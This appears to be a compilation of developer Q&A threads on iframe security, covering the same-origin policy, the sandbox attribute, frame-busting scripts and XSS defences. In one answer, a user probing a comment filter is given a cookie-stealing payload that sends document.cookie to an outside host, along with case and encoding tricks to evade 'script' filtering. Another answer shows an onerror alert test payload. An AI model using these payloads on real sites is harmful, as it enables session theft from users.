If you've used Google Wave or iGoogle you have probably seen that you can insert widgets that are made by third parties without approval. My question is: How does prevent the widge from performing XSS or steak cookies? Are the widgets loaded in an <iframe>? If yes, then what prevents them from redirecting you to another page?
Thanks
Yes, they use iframes to host the untrusted content. They cannot steal cookies because this content is hosted on a different domain (gmodules.com), and the browser prevents cross-domain interaction.
Regarding redirection, a module hosted in an iframe CAN change the window.location (but surprisingly, cannot read it). So, it is possible for malicious code in a user-uploaded module to take you to a spoofed google login page in an attempt to steal your password.
I assume it is because those widgets would be banned if they did so.
The HTML5 group is working on a real(technical, rather than legal) solution to this problem using the "sandbox" attribute in iframes.
They can redirect you to another page, as far as i know.
Related
client push me to change the CSS styles of an external site which is included in an iframe. Is it possible to do that? I found topics from 2011 with a solution, but after I tried to do that with CSS, js, jquery - I think is not possible if the site is not hosted by the same domain.
It's still not possible for security reasons. In order to allow this, you'd need control of both sites, and even then, you'd be potentially opening yourself up to allowing XSS attacks on the target site. Your best bet would see if the target site has an API that you could pull data from and display on your site with whatever styling you want. That's a separate topic altogether though.
My site is using Javascript ads code, and sometimes one of the ads redirects the page, and this is not a good practice according to Google (I got banned temporarily by Google until I solved the issue on my site).
Is there a way to prevent external Javascript redirect on the site (beside remove the ads)? Can you do this on the Apache configuration side to keep the domain in the address bar unchanged?
Working on the assumption that the adverts load external code:
Can you do this on the Apache configuration side to keep the domain in the address bar unchanged?
No. The advert isn't coming from your server. Your server can't influence it.
Is there a way to prevent external Javascript redirect on the site (beside remove the ads)?
No. The script will be loaded into the global scope and you have no opportunity to block access to things it might use to redirect.
Removing the ads is the only real option. Don't use advertising platforms that do a bad job of filtering out adverts that use such shady practises.
You can place the advertiser tag inside an iframe and add the sandbox attribute on the iframe.
In the sandbox attribute you specify which capabilities you grant the iframe.
Enter any capabilities you want but omit the allow-top-navigation navigation option and it will not allow it to navigate your site.
You can see all available attribute options here:https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe
Scroll down to the sandbox explanation.
Know that if you put sandbox="" nothing will be allowed because only what you specify will be available for the iframe - and it is a problem for ads. Some advertiser might even serve ads for 100% crippled iframes.
Some websites has a script that will redirect it to the original site if you tried to put it on an iframe. So to solve this, we have add the property sandbox="allow-scripts" to the iframe tag. But this solution will not work on browser that doesn't support html5. How can we resolve this? Additionally, we still want to have the script activated on the inner pages.
Ask the owners/administrators of the site to give you an authenticated URL for the site that doesn't redirect.
If you're trying to do this without the permission of the owners/adminstrators, then please reconsider your design.
It sounds like the original post is mentioning a frame-busting script which is in place to keep the page contents from being framed, usually to combat click-jacking attacks.
If you have permission from the site you are trying to frame, aka you have a legitimate reason to be framing their site, you should work with the owners of that site to find a work around. One such method would be to have them replace their frame-busting script with an X-Frame-Options header that could list your domain as an allowed domain to frame the content.
I am experimenting with cross site scripting. I have a website which allows users to insert comments and view them on the website. The website filters the string "script" though from the comment but it allows iframes. I understand that I could embed an iframe that points to a website that I craft and I can run whatever script I wish. My question is: will my iframe script be able to read cookies initiated by the original website? I have tried alert(document.cookie) but it shows an alert with nothing in it. The original website always sets a cookie though when a client requests it. Any idea what I am missing?
Both the surrounding page need to come from the same domain. This is limited by the Same Origin Policy, which states that a script in one frame may only access data in another frame given they are on the same protocol, have the exact same domain name and are running on the same port. It can be slightly relaxed by setting document.domain to the top level domain in both frames, and thus allowing frames from subdomain to communicate.
You could though try to input , though that may be blocked in newer browsers.
Limiting script is however not enough to stop XSS. There are many many other ways. See http://html5sec.org and http://ha.ckers.org/xss.html
You made it sound like you are trying to use the cookie as a payload for the XSS?
Are you in fact trying to steal the cookie?
But if the site is allowing you to insert comments and only removing "script" then you have a bunch of alternatives for inserting XSS including coookie stealing script.
Try this
javascript:img=new Image();img.src="http://yoursite.com?cookie="+document.cookie;
but you want to encode the word script so you can instead you can try
ScRiPt
or unicode 73 63 72 69 70 74
Cookies follow same origin policy. So if the attack website and the victim website(which allows iframes to open) are having the same host then the popup on running document.cookie will conatin the cookies info.
Since in your case they seem to be of diff domains cookie stealing will not be possible.
To prevent XSS better way is to use C:out tag of the core jstl library
As far as I know, an iframe cannot access to the original website if the domain of iframe and the domain of original website are different, but there are other problems. (ex. cracker commenting <img src="asdf" onerror="alert(document.cookie)"/>)
You may want to use somethings like HTML Purifier....
We recently had a scenario in which an iframe snippet on a server A was pointing to url on server B. There were some malwares being installed by server A on some clients. Can this iframe be the cause. As in hacker injected his url in the iframe's src. What can be the alternatives to iframe etc.
Most likely you experienced XSS
If a hacker is able to change the URL an iframe points to on your site then the iframe is not the problem, your code is.
Any web site could serve up malware, but you have indicated that the hacker has attacked your site and changed the src attribute of the iframe, not the site serving the iframe contents. Even if you replaced an iframe with something else the fact that an attacker has managed to get to the data behind your web site used to generate the page means that they could not limit themselves to iframes, but embed other tactics, such as a redirect, or a hidden link which is clicked by javascript or any other type of common nasty.
Generally IFrame whose content comes from a different domain cannot access the DOM of the parent web site - due to cross domain scripting restrictions. There were lots of bugs involving browsers not implementing such restrictions properly, so an out-of-date client browser might be the cause.
Unless you're running code inside of the iFrame, which you really shouldn't be, it would be a good idea to disable that iFrame from running any code.